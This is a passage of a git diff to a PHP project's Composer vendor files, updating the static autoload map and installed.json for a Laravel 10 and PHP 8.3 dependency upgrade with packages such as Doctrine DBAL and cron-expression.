'/nunomaduro/termwind/src/Functions.php', 'def43f6c87e4f8dfd0c9e1b1bab14fe8' => __DIR__ . '/..' . '/symfony/polyfill-iconv/bootstrap.php', '1f87db08236948d07391152dccb70f04' => __DIR__ . '/..' . '/google/apiclient-services/autoload.php', - '538ca81a9a966a6716601ecf48f4eaef' => __DIR__ . '/..' . '/opis/closure/functions.php', 'decc78cc4436b1292c6c0d151b19445c' => __DIR__ . '/..' . '/phpseclib/phpseclib/phpseclib/bootstrap.php', 'e39a8b23c42d4e1452234d762b03835a' => __DIR__ . '/..' . '/ramsey/uuid/src/functions.php', 'b46ad4fe52f4d1899a2951c7e6ea56b0' => __DIR__ . '/..' . '/voku/portable-utf8/bootstrap.php', @@ -52,11 +53,18 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 'Yajra\\DataTables\\' => 17, ), + 'W' => + array ( + 'Webmozart\\Assert\\' => 17, + ), + 'T' => + array ( + 'Termwind\\' => 9, + ), 'S' => array ( - 'Symfony\\Polyfill\\Php81\\' => 23, + 'Symfony\\Polyfill\\Php83\\' => 23, 'Symfony\\Polyfill\\Php80\\' => 23, - 'Symfony\\Polyfill\\Php73\\' => 23, 'Symfony\\Polyfill\\Php72\\' => 23, 'Symfony\\Polyfill\\Mbstring\\' => 26, 'Symfony\\Polyfill\\Intl\\Normalizer\\' => 33, @@ -79,6 +87,7 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 'Symfony\\Component\\ErrorHandler\\' => 31, 'Symfony\\Component\\Console\\' => 26, 'Spipu\\Html2Pdf\\' => 15, + 'Spatie\\LaravelPackageTools\\' => 27, 'Spatie\\EloquentSortable\\' => 24, 'SlowProg\\CopyFile\\' => 18, ), @@ -103,7 +112,6 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 ), 'O' => array ( - 'Opis\\Closure\\' => 13, 'OpenSpout\\' => 10, 'OpenSID\\' => 8, ), @@ -116,8 +124,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 'L' => array ( 'League\\MimeTypeDetection\\' => 25, + 'League\\Flysystem\\Local\\' => 23, 'League\\Flysystem\\' => 17, 'Laravel\\SerializableClosure\\' => 28, + 'Laravel\\Prompts\\' => 16, ), 'K' => array ( @@ -131,6 +141,7 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 'Illuminate\\Queue\\' => 17, 'Illuminate\\Pipeline\\' => 20, 'Illuminate\\Pagination\\' => 22, + 'Illuminate\\Log\\' => 15, 'Illuminate\\Http\\' => 16, 'Illuminate\\Hashing\\' => 19, 'Illuminate\\Filesystem\\' => 22, @@ -146,6 +157,7 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 ), 'G' => array ( + 'GuzzleHttp\\UriTemplate\\' => 23, 'GuzzleHttp\\Psr7\\' => 16, 'GuzzleHttp\\Promise\\' => 19, 'GuzzleHttp\\' => 11, @@ -155,16 +167,22 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 ), 'F' => array ( + 'Fruitcake\\Cors\\' => 15, 'Firebase\\JWT\\' => 13, 'Fcm\\' => 4, ), 'D' => array ( 'Doctrine\\Inflector\\' => 19, + 'Doctrine\\Deprecations\\' => 22, + 'Doctrine\\DBAL\\' => 14, + 'Doctrine\\Common\\Cache\\' => 22, + 'Doctrine\\Common\\' => 16, ), 'C' => array ( 'Cviebrock\\EloquentSluggable\\' => 28, + 'Cron\\' => 5, 'Cocur\\Slugify\\' => 14, 'Carbon\\Doctrine\\' => 16, 'Carbon\\' => 7, @@ -197,17 +215,21 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/yajra/laravel-datatables-oracle/src', ), - 'Symfony\\Polyfill\\Php81\\' => + 'Webmozart\\Assert\\' => array ( - 0 => __DIR__ . '/..' . '/symfony/polyfill-php81', + 0 => __DIR__ . '/..' . '/webmozart/assert/src', ), - 'Symfony\\Polyfill\\Php80\\' => + 'Termwind\\' => array ( - 0 => __DIR__ . '/..' . '/symfony/polyfill-php80', + 0 => __DIR__ . '/..' . '/nunomaduro/termwind/src', ), - 'Symfony\\Polyfill\\Php73\\' => + 'Symfony\\Polyfill\\Php83\\' => array ( - 0 => __DIR__ . '/..' . '/symfony/polyfill-php73', + 0 => __DIR__ . '/..' . '/symfony/polyfill-php83', + ), + 'Symfony\\Polyfill\\Php80\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/polyfill-php80', ), 'Symfony\\Polyfill\\Php72\\' => array ( @@ -297,6 +319,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/spipu/html2pdf/src', ), + 'Spatie\\LaravelPackageTools\\' => + array ( + 0 => __DIR__ . '/..' . '/spatie/laravel-package-tools/src', + ), 'Spatie\\EloquentSortable\\' => array ( 0 => __DIR__ . '/..' . '/spatie/eloquent-sortable/src', @@ -327,7 +353,7 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 ), 'Psr\\Log\\' => array ( - 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', + 0 => __DIR__ . '/..' . '/psr/log/src', ), 'Psr\\Http\\Message\\' => array ( @@ -358,10 +384,6 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/paragonie/constant_time_encoding/src', ), - 'Opis\\Closure\\' => - array ( - 0 => __DIR__ . '/..' . '/opis/closure/src', - ), 'OpenSpout\\' => array ( 0 => __DIR__ . '/..' . '/openspout/openspout/src', @@ -387,6 +409,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/league/mime-type-detection/src', ), + 'League\\Flysystem\\Local\\' => + array ( + 0 => __DIR__ . '/..' . '/league/flysystem-local', + ), 'League\\Flysystem\\' => array ( 0 => __DIR__ . '/..' . '/league/flysystem/src', @@ -395,6 +421,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/laravel/serializable-closure/src', ), + 'Laravel\\Prompts\\' => + array ( + 0 => __DIR__ . '/..' . '/laravel/prompts/src', + ), 'Karriere\\PdfMerge\\' => array ( 0 => __DIR__ . '/..' . '/karriere/pdf-merge/src', @@ -406,8 +436,9 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 'Illuminate\\Support\\' => array ( 0 => __DIR__ . '/..' . '/illuminate/collections', - 1 => __DIR__ . '/..' . '/illuminate/macroable', - 2 => __DIR__ . '/..' . '/illuminate/support', + 1 => __DIR__ . '/..' . '/illuminate/conditionable', + 2 => __DIR__ . '/..' . '/illuminate/macroable', + 3 => __DIR__ . '/..' . '/illuminate/support', ), 'Illuminate\\Session\\' => array ( @@ -425,6 +456,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/illuminate/pagination', ), + 'Illuminate\\Log\\' => + array ( + 0 => __DIR__ . '/..' . '/illuminate/log', + ), 'Illuminate\\Http\\' => array ( 0 => __DIR__ . '/..' . '/illuminate/http', @@ -473,6 +508,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/illuminate/bus', ), + 'GuzzleHttp\\UriTemplate\\' => + array ( + 0 => __DIR__ . '/..' . '/guzzlehttp/uri-template/src', + ), 'GuzzleHttp\\Psr7\\' => array ( 0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src', @@ -497,6 +536,10 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/google/apiclient/src', ), + 'Fruitcake\\Cors\\' => + array ( + 0 => __DIR__ . '/..' . '/fruitcake/php-cors/src', + ), 'Firebase\\JWT\\' => array ( 0 => __DIR__ . '/..' . '/firebase/php-jwt/src', @@ -509,10 +552,30 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 array ( 0 => __DIR__ . '/..' . '/doctrine/inflector/lib/Doctrine/Inflector', ), + 'Doctrine\\Deprecations\\' => + array ( + 0 => __DIR__ . '/..' . '/doctrine/deprecations/lib/Doctrine/Deprecations', + ), + 'Doctrine\\DBAL\\' => + array ( + 0 => __DIR__ . '/..' . '/doctrine/dbal/src', + ), + 'Doctrine\\Common\\Cache\\' => + array ( + 0 => __DIR__ . '/..' . '/doctrine/cache/lib/Doctrine/Common/Cache', + ), + 'Doctrine\\Common\\' => + array ( + 0 => __DIR__ . '/..' . '/doctrine/event-manager/src', + ), 'Cviebrock\\EloquentSluggable\\' => array ( 0 => __DIR__ . '/..' . '/cviebrock/eloquent-sluggable/src', ), + 'Cron\\' => + array ( + 0 => __DIR__ . '/..' . '/dragonmantank/cron-expression/src/Cron', + ), 'Cocur\\Slugify\\' => array ( 0 => __DIR__ . '/..' . '/cocur/slugify/src', @@ -547,9 +610,17 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 public static $classMap = array ( 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', - 'CURLStringFile' => __DIR__ . '/..' . '/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php', 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'Datamatrix' => __DIR__ . '/..' . '/tecnickcom/tcpdf/include/barcodes/datamatrix.php', + 'DateError' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateError.php', + 'DateException' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateException.php', + 'DateInvalidOperationException' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateInvalidOperationException.php', + 'DateInvalidTimeZoneException' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateInvalidTimeZoneException.php', + 'DateMalformedIntervalStringException' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateMalformedIntervalStringException.php', + 'DateMalformedPeriodStringException' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateMalformedPeriodStringException.php', + 'DateMalformedStringException' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateMalformedStringException.php', + 'DateObjectError' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateObjectError.php', + 'DateRangeError' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/DateRangeError.php', 'FPDF' => __DIR__ . '/..' . '/karriere/pdf-merge/tcpi/tcpdi.php', 'FPDF_TPL' => __DIR__ . '/..' . '/karriere/pdf-merge/tcpi/fpdf_tpl.php', 'Google_AccessToken_Revoke' => __DIR__ . '/..' . '/google/apiclient/src/aliases.php', @@ -572,12 +643,12 @@ class ComposerStaticInitb155827bb9684c59c9985879aae3cf29 'Google_Task_Retryable' => __DIR__ . '/..' . '/google/apiclient/src/aliases.php', 'Google_Task_Runner' => __DIR__ . '/..' . '/google/apiclient/src/aliases.php', 'Google_Utils_UriTemplate' => __DIR__ . '/..' . '/google/apiclient/src/aliases.php', - 'JsonException' => __DIR__ . '/..' . '/symfony/polyfill-php73/Resources/stubs/JsonException.php', 'Normalizer' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php', + 'Override' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/Override.php', 'PDF417' => __DIR__ . '/..' . '/tecnickcom/tcpdf/include/barcodes/pdf417.php', 'PhpToken' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php', 'QRcode' => __DIR__ . '/..' . '/tecnickcom/tcpdf/include/barcodes/qrcode.php', - 'ReturnTypeWillChange' => __DIR__ . '/..' . '/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php', + 'SQLite3Exception' => __DIR__ . '/..' . '/symfony/polyfill-php83/Resources/stubs/SQLite3Exception.php', 'Stringable' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', 'TCPDF' => __DIR__ . '/..' . '/tecnickcom/tcpdf/tcpdf.php', 'TCPDF2DBarcode' => __DIR__ . '/..' . '/tecnickcom/tcpdf/tcpdf_barcodes_2d.php', diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json index b83b455c6..3d32f2fa8 100644 --- a/vendor/composer/installed.json +++ b/vendor/composer/installed.json @@ -2,29 +2,28 @@ "packages": [ { "name": "brick/math", - "version": "0.9.3", - "version_normalized": "0.9.3.0", + "version": "0.12.1", + "version_normalized": "0.12.1.0", "source": { "type": "git", "url": "https://github.com/brick/math.git", - "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae" + "reference": "f510c0a40911935b77b86859eb5223d58d660df1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/brick/math/zipball/ca57d18f028f84f777b2168cd1911b0dee2343ae", - "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae", + "url": "https://api.github.com/repos/brick/math/zipball/f510c0a40911935b77b86859eb5223d58d660df1", + "reference": "f510c0a40911935b77b86859eb5223d58d660df1", "shasum": "" }, "require": { - "ext-json": "*", - "php": "^7.1 || ^8.0" + "php": "^8.1" }, "require-dev": { "php-coveralls/php-coveralls": "^2.2", - "phpunit/phpunit": "^7.5.15 || ^8.5 || ^9.0", - "vimeo/psalm": "4.9.2" + "phpunit/phpunit": "^10.1", + "vimeo/psalm": "5.16.0" }, - "time": "2021-08-15T20:50:18+00:00", + "time": "2023-11-29T23:19:16+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -44,21 +43,22 @@ "arithmetic", "bigdecimal", "bignum", + "bignumber", "brick", - "math" + "decimal", + "integer", + "math", + "mathematics", + "rational" ], "support": { "issues": "https://github.com/brick/math/issues", - "source": "https://github.com/brick/math/tree/0.9.3" + "source": "https://github.com/brick/math/tree/0.12.1" }, "funding": [ { "url": "https://github.com/BenMorel", "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/brick/math", - "type": "tidelift" } ], "install-path": "../brick/math" @@ -137,22 +137,22 @@ }, { "name": "cocur/slugify", - "version": "v4.5.0", - "version_normalized": "4.5.0.0", + "version": "v4.5.1", + "version_normalized": "4.5.1.0", "source": { "type": "git", "url": "https://github.com/cocur/slugify.git", - "reference": "af8e6ee771458bf885f7457807b5ff9bad8743cb" + "reference": "7c6e088228b9f082050876ae8b0cd287b117b840" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/cocur/slugify/zipball/af8e6ee771458bf885f7457807b5ff9bad8743cb", - "reference": "af8e6ee771458bf885f7457807b5ff9bad8743cb", + "url": "https://api.github.com/repos/cocur/slugify/zipball/7c6e088228b9f082050876ae8b0cd287b117b840", + "reference": "7c6e088228b9f082050876ae8b0cd287b117b840", "shasum": "" }, "require": { "ext-mbstring": "*", - "php": "^7.1 || ~8.0.0 || ~8.1.0 || ~8.2.0" + "php": "~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0" }, "conflict": { "symfony/config": "<3.4 || >=4,<4.3", @@ -178,7 +178,7 @@ "zendframework/zend-servicemanager": "~2.2", "zendframework/zend-view": "~2.2" }, - "time": "2023-09-16T10:10:53+00:00", + "time": "2023-09-17T07:26:20+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -208,7 +208,7 @@ ], "support": { "issues": "https://github.com/cocur/slugify/issues", - "source": "https://github.com/cocur/slugify/tree/v4.5.0" + "source": "https://github.com/cocur/slugify/tree/v4.5.1" }, "install-path": "../cocur/slugify" }, @@ -257,34 +257,33 @@ }, { "name": "cviebrock/eloquent-sluggable", - "version": "8.0.8", - "version_normalized": "8.0.8.0", + "version": "10.0.0", + "version_normalized": "10.0.0.0", "source": { "type": "git", "url": "https://github.com/cviebrock/eloquent-sluggable.git", - "reference": "16e21db24d80180f870c3c7c4faf3d3af23f4117" + "reference": "92f456b10337ca97c1cccfcc853a1cf51d2cedd0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/cviebrock/eloquent-sluggable/zipball/16e21db24d80180f870c3c7c4faf3d3af23f4117", - "reference": "16e21db24d80180f870c3c7c4faf3d3af23f4117", + "url": "https://api.github.com/repos/cviebrock/eloquent-sluggable/zipball/92f456b10337ca97c1cccfcc853a1cf51d2cedd0", + "reference": "92f456b10337ca97c1cccfcc853a1cf51d2cedd0", "shasum": "" }, "require": { - "cocur/slugify": "^4.0", - "illuminate/config": "^8.0", - "illuminate/database": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "cocur/slugify": "^4.3", + "illuminate/config": "^10.0", + "illuminate/database": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "require-dev": { "limedeck/phpunit-detailed-printer": "^6.0", - "mockery/mockery": "^1.4.2", - "orchestra/database": "^6.0", - "orchestra/testbench": "^6.0", - "phpunit/phpunit": "^9.4" + "mockery/mockery": "^1.4.4", + "orchestra/testbench": "^8.0", + "pestphp/pest": "2.x-dev" }, - "time": "2021-06-12T01:05:33+00:00", + "time": "2023-02-16T23:01:35+00:00", "type": "library", "extra": { "laravel": { @@ -321,7 +320,7 @@ ], "support": { "issues": "https://github.com/cviebrock/eloquent-sluggable/issues", - "source": "https://github.com/cviebrock/eloquent-sluggable/tree/8.0.8" + "source": "https://github.com/cviebrock/eloquent-sluggable/tree/10.0.0" }, "funding": [ { @@ -331,6 +330,362 @@ ], "install-path": "../cviebrock/eloquent-sluggable" }, + { + "name": "doctrine/cache", + "version": "2.2.0", + "version_normalized": "2.2.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/cache.git", + "reference": "1ca8f21980e770095a31456042471a57bc4c68fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/cache/zipball/1ca8f21980e770095a31456042471a57bc4c68fb", + "reference": "1ca8f21980e770095a31456042471a57bc4c68fb", + "shasum": "" + }, + "require": { + "php": "~7.1 || ^8.0" + }, + "conflict": { + "doctrine/common": ">2.2,<2.4" + }, + "require-dev": { + "cache/integration-tests": "dev-master", + "doctrine/coding-standard": "^9", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", + "psr/cache": "^1.0 || ^2.0 || ^3.0", + "symfony/cache": "^4.4 || ^5.4 || ^6", + "symfony/var-exporter": "^4.4 || ^5.4 || ^6" + }, + "time": "2022-05-20T20:07:39+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Cache\\": "lib/Doctrine/Common/Cache" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "PHP Doctrine Cache library is a popular cache implementation that supports many different drivers such as redis, memcache, apc, mongodb and others.", + "homepage": "https://www.doctrine-project.org/projects/cache.html", + "keywords": [ + "abstraction", + "apcu", + "cache", + "caching", + "couchdb", + "memcached", + "php", + "redis", + "xcache" + ], + "support": { + "issues": "https://github.com/doctrine/cache/issues", + "source": "https://github.com/doctrine/cache/tree/2.2.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fcache", + "type": "tidelift" + } + ], + "install-path": "../doctrine/cache" + }, + { + "name": "doctrine/dbal", + "version": "3.7.0", + "version_normalized": "3.7.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/dbal.git", + "reference": "00d03067f07482f025d41ab55e4ba0db5eca2cdf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/00d03067f07482f025d41ab55e4ba0db5eca2cdf", + "reference": "00d03067f07482f025d41ab55e4ba0db5eca2cdf", + "shasum": "" + }, + "require": { + "composer-runtime-api": "^2", + "doctrine/cache": "^1.11|^2.0", + "doctrine/deprecations": "^0.5.3|^1", + "doctrine/event-manager": "^1|^2", + "php": "^7.4 || ^8.0", + "psr/cache": "^1|^2|^3", + "psr/log": "^1|^2|^3" + }, + "require-dev": { + "doctrine/coding-standard": "12.0.0", + "fig/log-test": "^1", + "jetbrains/phpstorm-stubs": "2023.1", + "phpstan/phpstan": "1.10.35", + "phpstan/phpstan-strict-rules": "^1.5", + "phpunit/phpunit": "9.6.13", + "psalm/plugin-phpunit": "0.18.4", + "slevomat/coding-standard": "8.13.1", + "squizlabs/php_codesniffer": "3.7.2", + "symfony/cache": "^5.4|^6.0", + "symfony/console": "^4.4|^5.4|^6.0", + "vimeo/psalm": "4.30.0" + }, + "suggest": { + "symfony/console": "For helpful console commands such as SQL execution and import of files." + }, + "time": "2023-09-26T20:56:55+00:00", + "bin": [ + "bin/doctrine-dbal" + ], + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\DBAL\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + } + ], + "description": "Powerful PHP database abstraction layer (DBAL) with many features for database schema introspection and management.", + "homepage": "https://www.doctrine-project.org/projects/dbal.html", + "keywords": [ + "abstraction", + "database", + "db2", + "dbal", + "mariadb", + "mssql", + "mysql", + "oci8", + "oracle", + "pdo", + "pgsql", + "postgresql", + "queryobject", + "sasql", + "sql", + "sqlite", + "sqlserver", + "sqlsrv" + ], + "support": { + "issues": "https://github.com/doctrine/dbal/issues", + "source": "https://github.com/doctrine/dbal/tree/3.7.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fdbal", + "type": "tidelift" + } + ], + "install-path": "../doctrine/dbal" + }, + { + "name": "doctrine/deprecations", + "version": "1.1.3", + "version_normalized": "1.1.3.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/deprecations.git", + "reference": "dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab", + "reference": "dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "doctrine/coding-standard": "^9", + "phpstan/phpstan": "1.4.10 || 1.10.15", + "phpstan/phpstan-phpunit": "^1.0", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", + "psalm/plugin-phpunit": "0.18.4", + "psr/log": "^1 || ^2 || ^3", + "vimeo/psalm": "4.30.0 || 5.12.0" + }, + "suggest": { + "psr/log": "Allows logging deprecations via PSR-3 logger implementation" + }, + "time": "2024-01-30T19:34:25+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Deprecations\\": "lib/Doctrine/Deprecations" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.", + "homepage": "https://www.doctrine-project.org/", + "support": { + "issues": "https://github.com/doctrine/deprecations/issues", + "source": "https://github.com/doctrine/deprecations/tree/1.1.3" + }, + "install-path": "../doctrine/deprecations" + }, + { + "name": "doctrine/event-manager", + "version": "2.0.1", + "version_normalized": "2.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/event-manager.git", + "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/event-manager/zipball/b680156fa328f1dfd874fd48c7026c41570b9c6e", + "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "conflict": { + "doctrine/common": "<2.9" + }, + "require-dev": { + "doctrine/coding-standard": "^12", + "phpstan/phpstan": "^1.8.8", + "phpunit/phpunit": "^10.5", + "vimeo/psalm": "^5.24" + }, + "time": "2024-05-22T20:47:39+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + }, + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com" + } + ], + "description": "The Doctrine Event Manager is a simple PHP event system that was built to be used with the various Doctrine projects.", + "homepage": "https://www.doctrine-project.org/projects/event-manager.html", + "keywords": [ + "event", + "event dispatcher", + "event manager", + "event system", + "events" + ], + "support": { + "issues": "https://github.com/doctrine/event-manager/issues", + "source": "https://github.com/doctrine/event-manager/tree/2.0.1" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Fevent-manager", + "type": "tidelift" + } + ], + "install-path": "../doctrine/event-manager" + }, { "name": "doctrine/inflector", "version": "2.0.10", @@ -425,6 +780,70 @@ ], "install-path": "../doctrine/inflector" }, + { + "name": "dragonmantank/cron-expression", + "version": "v3.3.3", + "version_normalized": "3.3.3.0", + "source": { + "type": "git", + "url": "https://github.com/dragonmantank/cron-expression.git", + "reference": "adfb1f505deb6384dc8b39804c5065dd3c8c8c0a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dragonmantank/cron-expression/zipball/adfb1f505deb6384dc8b39804c5065dd3c8c8c0a", + "reference": "adfb1f505deb6384dc8b39804c5065dd3c8c8c0a", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0", + "webmozart/assert": "^1.0" + }, + "replace": { + "mtdowling/cron-expression": "^1.0" + }, + "require-dev": { + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^1.0", + "phpstan/phpstan-webmozart-assert": "^1.0", + "phpunit/phpunit": "^7.0|^8.0|^9.0" + }, + "time": "2023-08-10T19:36:49+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Cron\\": "src/Cron/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Tankersley", + "email": "chris@ctankersley.com", + "homepage": "https://github.com/dragonmantank" + } + ], + "description": "CRON for PHP: Calculate the next or previous run date and determine if a CRON expression is due", + "keywords": [ + "cron", + "schedule" + ], + "support": { + "issues": "https://github.com/dragonmantank/cron-expression/issues", + "source": "https://github.com/dragonmantank/cron-expression/tree/v3.3.3" + }, + "funding": [ + { + "url": "https://github.com/dragonmantank", + "type": "github" + } + ], + "install-path": "../dragonmantank/cron-expression" + }, { "name": "edwinhoksberg/php-fcm", "version": "v1.2.0", @@ -537,27 +956,27 @@ }, { "name": "firebase/php-jwt", - "version": "v6.10.0", - "version_normalized": "6.10.0.0", + "version": "v6.10.1", + "version_normalized": "6.10.1.0", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "a49db6f0a5033aef5143295342f1c95521b075ff" + "reference": "500501c2ce893c824c801da135d02661199f60c5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/firebase/php-jwt/zipball/a49db6f0a5033aef5143295342f1c95521b075ff", - "reference": "a49db6f0a5033aef5143295342f1c95521b075ff", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/500501c2ce893c824c801da135d02661199f60c5", + "reference": "500501c2ce893c824c801da135d02661199f60c5", "shasum": "" }, "require": { - "php": "^7.4||^8.0" + "php": "^8.0" }, "require-dev": { - "guzzlehttp/guzzle": "^6.5||^7.4", + "guzzlehttp/guzzle": "^7.4", "phpspec/prophecy-phpunit": "^2.0", "phpunit/phpunit": "^9.5", - "psr/cache": "^1.0||^2.0", + "psr/cache": "^2.0||^3.0", "psr/http-client": "^1.0", "psr/http-factory": "^1.0" }, @@ -565,7 +984,7 @@ "ext-sodium": "Support EdDSA (Ed25519) signatures", "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present" }, - "time": "2023-12-01T16:26:39+00:00", + "time": "2024-05-18T18:05:11+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -597,10 +1016,84 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v6.10.0" + "source": "https://github.com/firebase/php-jwt/tree/v6.10.1" }, "install-path": "../firebase/php-jwt" }, + { + "name": "fruitcake/php-cors", + "version": "v1.3.0", + "version_normalized": "1.3.0.0", + "source": { + "type": "git", + "url": "https://github.com/fruitcake/php-cors.git", + "reference": "3d158f36e7875e2f040f37bc0573956240a5a38b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/fruitcake/php-cors/zipball/3d158f36e7875e2f040f37bc0573956240a5a38b", + "reference": 